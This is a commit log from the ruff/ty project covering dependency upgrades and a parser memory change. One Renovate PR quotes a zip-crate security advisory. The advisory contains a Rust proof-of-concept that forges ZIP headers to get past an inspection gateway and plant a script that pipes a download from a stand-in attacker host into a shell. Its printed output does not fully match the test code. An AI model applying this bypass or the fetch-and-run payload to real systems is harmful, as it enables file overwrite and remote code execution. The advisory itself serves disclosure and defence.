Commit Graph
20 Commits
Author SHA1 Message Date
Micha Reiser d0e0e211bd [ty] Upgrade to Salsa 0.28.7 (#30950)
## Summary

Upgrade ty from Salsa 0.28.6 to
[0.28.7](https://github.com/salsa-rs/salsa/releases/tag/salsa-v0.28.7).
Sharing the memo table length saves eight bytes per slot on 64-bit
targets. Salsa also starts counting memo pointer arrays in memory
reports, so reported totals can increase even when the heap shrinks.

This release adds opt-in SIEVE eviction. The switch for parsed modules
is in #30951.

The three Salsa cooldown exclusions now cover 0.28.7. I verified the
published checksums and packaged sources against the release and
reviewed the dependency changes.

## Test Plan

CI checks the upgrade with the ty test suite and CodSpeed benchmarks.
2026-11-28 20:03:20 -05:00
renovate[bot] 5324b2f1e1 Update Rust crate similar to v3.2.1 (#30914)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [similar](https://redirect.github.com/mitsuhiko/similar) |
dependencies | patch | `3.2.0` → `3.2.1` |
| [similar](https://redirect.github.com/mitsuhiko/similar) |
workspace.dependencies | patch | `3.2.0` → `3.2.1` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/10578) for more information.

---

### Release Notes

<details>
<summary>mitsuhiko/similar (similar)</summary>

###
[`v3.2.1`](https://redirect.github.com/mitsuhiko/similar/blob/HEAD/CHANGELOG.md#321)

[Compare
Source](https://redirect.github.com/mitsuhiko/similar/compare/3.2.0...3.2.1)

- Improved real-world diffing performance substantially without changing
the
produced diffs. On a corpus of real source file revisions, line diffs
run
  about 4x faster with `Algorithm::Myers`, 5x faster with
`Algorithm::Histogram`, and 2.5x faster with `Algorithm::Patience`; word
  diffs run about 2x faster.  This comes from a faster line tokenizer, a
SipHash-1-3 content hash that consumes whole words (randomly keyed with
`std`), cheaper integer-keyed lookup tables, hashing only the changed
middle
of Myers line diffs, flat occurrence tables in Histogram, and a gap
buffer
  in the compaction pass that was quadratic on diffs with many ops.
Allocation counts and peak memory dropped as well; in particular one
sided
and heavily unbalanced inputs no longer build index structures
proportional
  to the larger side for `Algorithm::Hunt`, `Algorithm::Histogram`, and
  `Algorithm::Patience`.
- Fixed `Algorithm::Histogram` overflowing the stack on inputs with many
scattered changes. Pending ranges are now tracked on the heap, so stack
usage no longer grows with the number of anchors.
[#&#8203;105](https://redirect.github.com/mitsuhiko/similar/issues/105)
- Fixed `TextMerge::labels` writing carriage returns and newlines
verbatim into
conflict markers, which let a label add lines to the output that looked
like
merged content. Line terminators in labels are now replaced with spaces.
[#&#8203;101](https://redirect.github.com/mitsuhiko/similar/issues/101)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yNTcuMyIsInVwZGF0ZWRJblZlciI6IjQ0LjI1Ny4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-11-25 09:53:20 +01:00
Micha Reiser 2a07740996 [ty] Update Salsa to 0.28.6 (#30757)
## Summary

Updates to [Salsa
0.28.6](https://github.com/salsa-rs/salsa/releases/tag/salsa-v0.28.6),
which includes cycle recovery fixes and faster tracked struct lookups.
Adapts ty's cycle initializers to accept the new provisional value
argument while preserving their initial values.

Adds publication cooldown exclusions for the three reviewed Salsa 0.28.6
crates, retaining the seven-day cooldown for all other dependencies.

Validation passed for all workspace targets and features, the Cargo
cooldown checker, and repository hooks.
2026-11-22 15:11:39 +01:00
Alex Waygood 8f954aad9c Update zip to 9.5.1 and use raw lookups for vendored typeshed (#29816) 2026-11-18 18:13:12 +00:00
renovate[bot]andBrent Westbrook fde7c6debc Update Rust crate zip to v9 (#29808)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [zip](https://redirect.github.com/zip-rs/zip2) |
workspace.dependencies | major | `8.0` → `9.0` |

---

### zip: Critical Parser Differential & Security Control Bypass via
Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File
Overwrite & RCE
[CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) /
[GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

<details>
<summary>More information</summary>

#### Details
##### Summary
A critical architectural parser differential exists in the `zip` crate
(`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and
streaming readers (`ZipStreamReader`). `ZipArchive` considers the
Central Directory File Header (CDFH) authoritative and ignores the
filename declared in the Local File Header (LFH). In contrast,
`ZipStreamReader` relies exclusively on the Local File Header (LFH) when
extracting files to the filesystem.

This discrepancy enables ZIP archives to appear to have different file
paths and contents according to which tool is reading them.

---

##### Details

##### Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two
distinct locations:
1. **Local File Header (LFH):** Precedes the compressed payload of each
file in the body of the archive.
2. **Central Directory File Header (CDFH):** Stored in a contiguous
index at the end of the archive.

In `zip2`:
- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory
into `SharedBuilder.files`. All file lookups by index or name read
exclusively from the CDFH table, completely ignoring the filename
present in the LFH.
- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and
`ZipStreamReader::extract` read sequentially from the stream without
verifying the central directory index. Each entry is parsed via
`read_zipfile_from_stream` and written to disk using the unverified
filename declared in the LFH:
  ```rust
  // src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) ->
ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_,
fn(&Path) -> bool)>)?;
      let mut outfile = fs::File::create(&outpath)?;
      io::copy(file, &mut outfile)?;
      Ok(())
  }
  ```
- `src/write.rs:L1552`: The crate explicitly exposes
`shallow_copy_file`, an API that constructs dual-header
desynchronizations by adding a new CDFH entry with an alias name
pointing to an existing file without updating the original LFH.

##### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
1. **Security Control Evasion:** An adversary crafts a ZIP archive
where:
- Central Directory Header declares: `doc_report.pdf` (Clean document)
- Local File Header declares: `cron_worker.sh` (Malicious root backdoor)
2. The archive is uploaded through a web portal or API endpoint
protected by security gateways (WAF, Anti-Virus, Content Disarm &
Reconstruction). The security gateway inspects the archive using
`ZipArchive` (or similar CDFH-first parsers), detects only
`doc_report.pdf`, and approves the file.
3. The backend worker or cloud function receives the approved archive
and extracts it using `ZipStreamReader::extract`. `ZipStreamReader`
reads the LFH and overwrites `cron_worker.sh`.
4. **Full Compromise (CIA = High):** The legitimate production health
checker / service script is destroyed (**Availability = High / DoS**),
while the attacker's backdoor payload is implanted (**Integrity = High /
RCE**).

---

##### Proof of Concept
The following automated integration test reproducibly demonstrates the
complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion ->
Arbitrary File Overwrite -> RCE & DoS) against `zip2`:

```rust
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
    for i in 0..archive.len() {
        let name = archive.by_index(i).unwrap().name().unwrap().to_string();
        if name.ends_with(".sh") || name.ends_with(".exe") {
            return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
        }
        if !name.ends_with(".pdf") {
            return Err("Policy violation: only PDFs allowed!".into());
        }
    }
    Ok(())
}

#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
    // 1. Victim server setup: existing critical script
    let victim_env = tempdir().unwrap();
    let victim_dir = victim_env.path();
    let target_script = victim_dir.join("cron_worker.sh");
    fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();

    // 2. Attacker crafts Single-Entry Dual-Header Archive
    // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
    let mut payload = Cursor::new(Vec::new());
    let mut writer = ZipWriter::new(&mut payload);
    writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
    writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
    writer.finish().unwrap();

    let mut malicious_zip = payload.into_inner();
    let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");

    // 3. Gateway Inspection (Bypassed!)
    assert!(security_gateway_inspection(&malicious_zip).is_ok());

    // 4. Backend Extraction (ZipStreamReader)
    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();

    // 5. Impact Verification
    let compromised = fs::read_to_string(&target_script).unwrap();
    assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
    assert!(compromised.contains("PWNED ROOT"));       // RCE Confirmed
}
```

##### Verified Test Execution Output
```text
running 1 test
==================================================================
Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY

--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!

--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.

--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'
```

---

##### Impact
An attacker can construct a crafted archive whose Central Directory
displays a benign filename (doc_report.pdf) that is inspected and
approved by upstream security gateways (antivirus scanners, mail
filters, upload firewalls), while automated backend ingestion pipelines
or microservices using ZipStreamReader extract an arbitrary or malicious
file (overwriting e.g. cron_worker.sh or critical system binaries).
Because an adversary can overwrite existing files on disk, this
vulnerability leads to Security Control Bypass, Arbitrary File
Overwrite, Complete Denial of Service, and Remote Code Execution (RCE)
in situations where a tool relying on the central directory trusts a
tool that relied on the local file headers or vice-versa.

**Who is Impacted:**
- Automated ingestion microservices, SaaS platforms, and backend workers
that extract user-submitted ZIP files.
- Enterprise architectures where security verification (AV scanning,
extension whitelisting) is decoupled from extraction (e.g. gateway
audits Central Directory via CDFH before handing off extraction to
streaming extractors).
- Containerized workloads where overwriting local configuration files or
executable scripts leads to host/container escape and complete service
disruption.

#### Severity
- CVSS Score: 10.0 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L`

#### References
-
[https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905)
-
[https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://redirect.github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e)
-
[https://github.com/zip-rs/zip2/releases/tag/v9.0.5](https://redirect.github.com/zip-rs/zip2/releases/tag/v9.0.5)
-
[https://github.com/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>zip-rs/zip2 (zip)</summary>

###
[`v9.0.5`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#905---2026-10-17)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.4...v9.0.5)

##### <!-- 1 -->🐛 Bug Fixes

- use mode_t for fchmodat's mode, which is u32 on NetBSD and OpenBSD
([#&#8203;1076](https://redirect.github.com/zip-rs/zip2/pull/1076))
- *(write)* prevent duplicate 0x9901 AES extra field in raw_copy_file
([#&#8203;1078](https://redirect.github.com/zip-rs/zip2/pull/1078))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Enable release-plz on backport branches in future
([#&#8203;1079](https://redirect.github.com/zip-rs/zip2/pull/1079))

###
[`v9.0.4`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#904---2026-10-16)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.3...v9.0.4)

##### <!-- 1 -->🐛 Bug Fixes

- enclosed_name rejects a separator inside one verbatim path component
([#&#8203;1066](https://redirect.github.com/zip-rs/zip2/pull/1066))
- return `Ok(None)` when read_zipfile_from_stream is called on an empty
archive
([#&#8203;1063](https://redirect.github.com/zip-rs/zip2/pull/1063))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing
semver check, fix CI where most Miri tests weren't running, and other
fixes so other PRs can pass CI
([#&#8203;1065](https://redirect.github.com/zip-rs/zip2/pull/1065))
- update lzma-rust2 and ppmd-rust dependencies
([#&#8203;1060](https://redirect.github.com/zip-rs/zip2/pull/1060))

###
[`v9.0.3`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#903---2026-10-13)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/9.0.2...v9.0.3)

##### <!-- 1 -->🐛 Bug Fixes

- Preserve directories' read-only status when extracting on non-Unix
systems
([#&#8203;1054](https://redirect.github.com/zip-rs/zip2/pull/1054))

###
[`v9.0.2`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#902---2026-10-11)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.1...9.0.2)

##### <!-- 1 -->🐛 Bug Fixes

- additional bug fixes for symlink extraction

###
[`v9.0.1`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#901---2026-10-10)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.0...v9.0.1)

##### <!-- 1 -->🐛 Bug Fixes

- set_permissions was still following symlinks in non-streaming
extraction
([#&#8203;1038](https://redirect.github.com/zip-rs/zip2/pull/1038))
- two arithmetic overflows in the implode decoder
([#&#8203;1028](https://redirect.github.com/zip-rs/zip2/pull/1028))
- reject an empty archive whose central directory offset is past the
EOCD ([#&#8203;1025](https://redirect.github.com/zip-rs/zip2/pull/1025))
- don't panic when two entries extract to the same path
([#&#8203;1023](https://redirect.github.com/zip-rs/zip2/pull/1023))
- fail reads that exceed the declared uncompressed size
([#&#8203;1022](https://redirect.github.com/zip-rs/zip2/pull/1022))
- shrink decoder skipped LZW code 8191
([#&#8203;1029](https://redirect.github.com/zip-rs/zip2/pull/1029))
- write only the sentinel-marked values in a central ZIP64 field
([#&#8203;1027](https://redirect.github.com/zip-rs/zip2/pull/1027))

###
[`v9.0.0`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#900---2026-10-08)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v8.6.0...v9.0.0)

##### <!-- 0 -->🚀 Features

- add ZipFileBuilder for parallelizing compression
([#&#8203;911](https://redirect.github.com/zip-rs/zip2/pull/911))
- add method `by_index_with_data_descriptor`
([#&#8203;994](https://redirect.github.com/zip-rs/zip2/pull/994))
- add len, is_empty and entry to ZipArchiveMetadata
([#&#8203;1015](https://redirect.github.com/zip-rs/zip2/pull/1015))
- read data descriptor from binary
([#&#8203;990](https://redirect.github.com/zip-rs/zip2/pull/990))
- add comment and test for ZipStreamReader and symlinks
([#&#8203;985](https://redirect.github.com/zip-rs/zip2/pull/985))
- *(write)* add `ZipWriter::hide_file` for in-place entry deletion
([#&#8203;924](https://redirect.github.com/zip-rs/zip2/pull/924))
- add compression
([#&#8203;948](https://redirect.github.com/zip-rs/zip2/pull/948))
- add test to in place modification
([#&#8203;945](https://redirect.github.com/zip-rs/zip2/pull/945))
- move CustomExtraField to own file
([#&#8203;941](https://redirect.github.com/zip-rs/zip2/pull/941))
- add a test on enum size
([#&#8203;939](https://redirect.github.com/zip-rs/zip2/pull/939))
- use ZipFileEntry instead of ZipStreamFileMetadata
([#&#8203;935](https://redirect.github.com/zip-rs/zip2/pull/935))
- add ZipFileEntry with no Reader
([#&#8203;933](https://redirect.github.com/zip-rs/zip2/pull/933))
- change `aes_mode` to `aes_settings()` in ZipFileData
([#&#8203;925](https://redirect.github.com/zip-rs/zip2/pull/925))
- cleanup and harmonize extra fields
([#&#8203;923](https://redirect.github.com/zip-rs/zip2/pull/923))
- Rewrite zip64 extra
([#&#8203;913](https://redirect.github.com/zip-rs/zip2/pull/913))

##### <!-- 1 -->🐛 Bug Fixes

- reading an empty AES entry again at EOF returns Ok(0)
([#&#8203;1024](https://redirect.github.com/zip-rs/zip2/pull/1024))
- reject ZIP64 sizes that overflow u64 when computing data end offsets
([#&#8203;1036](https://redirect.github.com/zip-rs/zip2/pull/1036))
- apply central directory metadata in ZipStreamReader, only to written
entries
([#&#8203;1030](https://redirect.github.com/zip-rs/zip2/pull/1030))
- consume the whole extended timestamp field in the central header
([#&#8203;1016](https://redirect.github.com/zip-rs/zip2/pull/1016))
- parse the central header of the extended timestamp
([#&#8203;1002](https://redirect.github.com/zip-rs/zip2/pull/1002))
- don't pre-allocate the declared size in the legacy decoders
([#&#8203;991](https://redirect.github.com/zip-rs/zip2/pull/991))
- Symlink with very large declared size could lead to out-of-memory
panic ([#&#8203;984](https://redirect.github.com/zip-rs/zip2/pull/984))
- copy extra fields in raw_copy_file
([#&#8203;955](https://redirect.github.com/zip-rs/zip2/pull/955))
([#&#8203;982](https://redirect.github.com/zip-rs/zip2/pull/982))
- add unix_mode when copy_raw_file
([#&#8203;981](https://redirect.github.com/zip-rs/zip2/pull/981))
- rewrite documentation of add_symlink_from_path
([#&#8203;979](https://redirect.github.com/zip-rs/zip2/pull/979))
- ignore a ZIP64 extra field that no sentinel asked for
([#&#8203;962](https://redirect.github.com/zip-rs/zip2/pull/962))
- do not set data descriptor if directory
([#&#8203;973](https://redirect.github.com/zip-rs/zip2/pull/973))
- expose flags function for easier access
([#&#8203;972](https://redirect.github.com/zip-rs/zip2/pull/972))
- preserve unix permission in raw_copy_file
([#&#8203;956](https://redirect.github.com/zip-rs/zip2/pull/956))
- clippy warning on nightly
([#&#8203;960](https://redirect.github.com/zip-rs/zip2/pull/960))
- remove extra alloc used to copy
([#&#8203;938](https://redirect.github.com/zip-rs/zip2/pull/938))
- lazy allocation on error case
([#&#8203;937](https://redirect.github.com/zip-rs/zip2/pull/937))
- fix data alignment
([#&#8203;929](https://redirect.github.com/zip-rs/zip2/pull/929))

##### <!-- 2 -->🚜 Refactor

- move extract to own file
([#&#8203;1009](https://redirect.github.com/zip-rs/zip2/pull/1009))
- cleanup permissions related code
([#&#8203;961](https://redirect.github.com/zip-rs/zip2/pull/961))
- remove feature gate
([#&#8203;949](https://redirect.github.com/zip-rs/zip2/pull/949))
- create `ZipFileFlags` to wrap `flags`
([#&#8203;947](https://redirect.github.com/zip-rs/zip2/pull/947))
- remove unused trait
([#&#8203;946](https://redirect.github.com/zip-rs/zip2/pull/946))
- access `crate::format` with `zip::unstable::format`
([#&#8203;944](https://redirect.github.com/zip-rs/zip2/pull/944))
- harmonize functions to `format/functions.rs`
([#&#8203;943](https://redirect.github.com/zip-rs/zip2/pull/943))
- rewrite `make_reader()` function
([#&#8203;936](https://redirect.github.com/zip-rs/zip2/pull/936))
- simplify `initialize_local_block`
([#&#8203;934](https://redirect.github.com/zip-rs/zip2/pull/934))
- move write options to `write/options.rs`
([#&#8203;931](https://redirect.github.com/zip-rs/zip2/pull/931))
- move spec to format
([#&#8203;932](https://redirect.github.com/zip-rs/zip2/pull/932))
- move Magic to format
([#&#8203;930](https://redirect.github.com/zip-rs/zip2/pull/930))
- \[**breaking**] Remove ZipFileData::extra_data_start field that is
never read
([#&#8203;926](https://redirect.github.com/zip-rs/zip2/pull/926))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Fix high-level symlink extraction logic, disable some tests in miri,
and fix some typos
([#&#8203;1035](https://redirect.github.com/zip-rs/zip2/pull/1035))

##### Fix

- some permissions tests can only run on Unix
([#&#8203;1000](https://redirect.github.com/zip-rs/zip2/pull/1000))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCIsInNlY3VyaXR5Il19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
2026-10-28 20:25:31 -04:00
renovate[bot]andBrent Westbrook d8d715c9ec Update Rust crate quick-junit to 0.8.0 (#27295)
This PR updates quick-junit to
[v0.8.0](https://github.com/nextest-rs/quick-junit/releases/tag/quick-junit-0.8.0).
The original renovate description of the bump to v0.7.0 is below.

Note that I also had to update `fuzz/Cargo.lock` to get the fuzz build to run:

```console
cargo update --manifest-path fuzz/Cargo.toml thiserror@2.0.18 --precise 2.0.20
```

<hr>

This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
| [quick-junit](https://redirect.github.com/nextest-rs/quick-junit) |
workspace.dependencies | minor | `0.6.0` → `0.7.0` | `0.8.0` |

---

<details>
<summary>nextest-rs/quick-junit (quick-junit)</summary>

[`v0.7.0`](https://redirect.github.com/nextest-rs/quick-junit/blob/HEAD/CHANGELOG.md#070---2026-07-20)

[Compare
Source](https://redirect.github.com/nextest-rs/quick-junit/compare/quick-junit-0.6.1...quick-junit-0.7.0)

Skipped test counts are now reported via the `skipped` attribute rather
than `disabled`. For `<testsuite>`, `skipped` matches the [llg
schema](https://llg.cubic.org/docs/junit/) and the Jenkins [junit-10
schema](https://redirect.github.com/jenkinsci/xunit-plugin/blob/master/src/main/resources/org/jenkinsci/plugins/xunit/types/model/xsd/junit-10.xsd),
as well as pytest and Maven Surefire.

- Each `<testsuite>` now emits `skipped="N"`, and the root
`<testsuites>` element now emits an aggregated `skipped="N"` count.
Previously the root didn't carry a skip count at all.
- Root-level `skipped` is a quick-junit extension. It follows the modern
JUnit convention (as documented, for example, by
[testmoapp/junitxml](https://redirect.github.com/testmoapp/junitxml))
and is similar to quick-junit's existing extensions such as `uuid`.
- `TestSuite`'s `disabled` field has been renamed to `skipped`.
- `Report` gains new public `skipped` and `disabled` fields, and
`Report::add_test_suite` now aggregates skip counts into
`Report::skipped`.

`disabled` is now modeled as a separate optional count on both `Report`
and `TestSuite`, distinct from `skipped`. (`disabled` is intended to
count tests that are disabled by design, such as googletest's
`DISABLED_`-prefixed tests. Note, however, that quick-junit doesn't have
a notion of disabled tests at the moment.)

- `Report` is now `#[non_exhaustive]`, consistent with `TestSuite` and
`TestCase`. Construct it via `Report::new` and then assign fields, so
that future field additions are non-breaking.
- Childless `<testsuite>` and `<testcase>` elements are now serialized
as self-closing tags (for example, `<testcase name="my-test"/>` rather
than `<testcase name="my-test"></testcase>`). The output is semantically
identical XML, only more compact and idiomatic. The deserializer already
accepted these self-closing forms, so serializing them means round-trip
tests now cover those parse paths.

</details>

---

📅 **Schedule**: (UTC)

- Branch creation
  - "before 4am on Wednesday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0Ljc5LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbImludGVybmFsIl19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
2026-10-09 12:26:57 -04:00
Micha Reiser c890b04e57 [ty] Update Salsa to 0.28.5 (#28856) 2026-09-24 12:26:55 +02:00
renovate[bot] 06feea3cd7 Update Rust crate similar to v3.2.0 (#28809) 2026-09-23 08:32:30 +02:00
renovate[bot] 25e915447e Update Rust crate similar to v3.1.2 (#27679) 2026-08-12 07:42:19 +02:00
Micha Reiser 3e628b8ef0 [ty] Update Salsa to 0.28.2 (#27496) 2026-08-05 08:39:56 +02:00
Micha Reiser aa5b04ad92 [ty] Support different type inference settings in a single Salsa DB (#27152)
## Summary

This is the last PR that adds support for type checking multiple
programs with different Python Version, search paths, and platform using
a single Salsa DB.


This PR changes `Program` from a singleton input to an interned struct.
`ProgramFile` changes from `(File, ResolverEnvironment)` to `(File,
Program)`.

Changing `Program` from an input to an interned means that it now has a
`'db` lifetime. This requires changing how we construct and store
`Program`. That's why some of the db initialization code changes.

I doubt that it will be noticeable. But this should speed up mdtests
that contain tests with different Python versions (e.g. Py312, Py311,
Py312, Py311), because we now reuse parsed modules, and even type
inference results because the inference is now keyed by Program (instead
of updating an existing Program)

## Memory regression

I had codex look into the CodSpeed reported memory regression. The
reason is that `Program` now being an interned and being initialized
later changes the assigned `File` ids, which in turn changes in which
order we iterate over the project files. And this change the max peak
memory usage. It can also change the usage reported on the memory usage
report (we enter fixpoint cycles from different heads, etc).

The changes in the memory report are mainly from the new
`ProgramFile::python_version` (needed to mitigate a larger regression,
but we can reconsider), and that `Project` now stores `ProgramSettings`.
2026-08-04 08:51:18 +02:00
Micha Reiser af3a1c243e [ty] Update Salsa to 0.28.1 (#27087) 2026-07-22 08:47:20 +02:00
Charlie Marsh 301b7ed4d6 [ty] Share heap-backed parser names with CharStr (#26594)
## Summary

This PR changes `ruff_python_ast::Name` from a 24-byte `CompactString`
to a 16-byte immutable `CharStr` from
[`astral-sh/char_str`](https://github.com/astral-sh/char_str).

`char_str` is an Astral-maintained fork of
[`lean_string`](https://github.com/ryota2357/lean_string) that provides
compact owned strings with mutable and immutable variants: growable
`CharString` for construction and immutable, exactly allocated `CharStr`
for storage. (It also provides Salsa and get-size features.)

Names up to 16 UTF-8 bytes remain inline, static names remain
allocation-free, and longer names use an exactly sized,
reference-counted allocation with no unused capacity.

Removing eight bytes from every `Name` also shrinks common AST nodes.
For example, `Identifier` and `ExprName` drop from 40 to 32 bytes, while
`ExprAttribute`, `StmtFunctionDef`, `StmtClassDef`, and several other
variants each drop by eight bytes.

The parser interns names that exceed the inline capacity, so repeated
longer names share one backing allocation within a parser invocation.

## Why 16 bytes?

Across the full `mypy_primer` corpus, there 20.8 million name
occurrences:

| UTF-8 length | Occurrences | Share | Unique name/file pairs | Share |
|---|---:|---:|---:|---:|
| 1–16 bytes | 18,955,757 | 91.02% | 3,192,424 | 79.42% |
| 17–24 bytes | 1,348,894 | 6.48% | 529,826 | 13.18% |
| 25+ bytes | 522,376 | 2.51% | 297,575 | 7.40% |
| Total | 20,827,027 | 100% | 4,019,825 | 100% |

The 16-byte cutoff keeps 91% of occurrences inline while saving eight
bytes for every occurrence. The 1–16-byte bucket alone removes 151.6 MB
of handle storage across the corpus.

The tradeoff is the 17–24-byte bucket: `CompactString` stored those
names inline, while `CharStr` allocates once per unique name within a
file. But the interning amortizes that cost when a name repeats. Names
longer than 24 bytes already allocated on `main`; for those names, this
change both reduces the handle size and deduplicates repeated backing
allocations.

## Memory impact

Accounting for the observed per-file multiplicities and structural
sharing, modeled `Name` storage across the corpus changes as follows:

| | `main` | This PR | Difference |
|---|---:|---:|---:|
| `Name` handles and backing storage | 526.18 MB | 366.27 MB | -159.91
MB (-30.4%) |

The current [instrumented memory
report](https://github.com/astral-sh/ruff/pull/26594#issuecomment-4906725175)
shows a consistent reduction in total retained memory:

| Project | `main` | This PR | Difference |
|---|---:|---:|---:|
| flake8 | 29.21 MB | 28.71 MB | -1.69% |
| trio | 71.01 MB | 70.01 MB | -1.41% |
| sphinx | 168.81 MB | 166.82 MB | -1.18% |
| prefect | 454.75 MB | 449.06 MB | -1.25% |

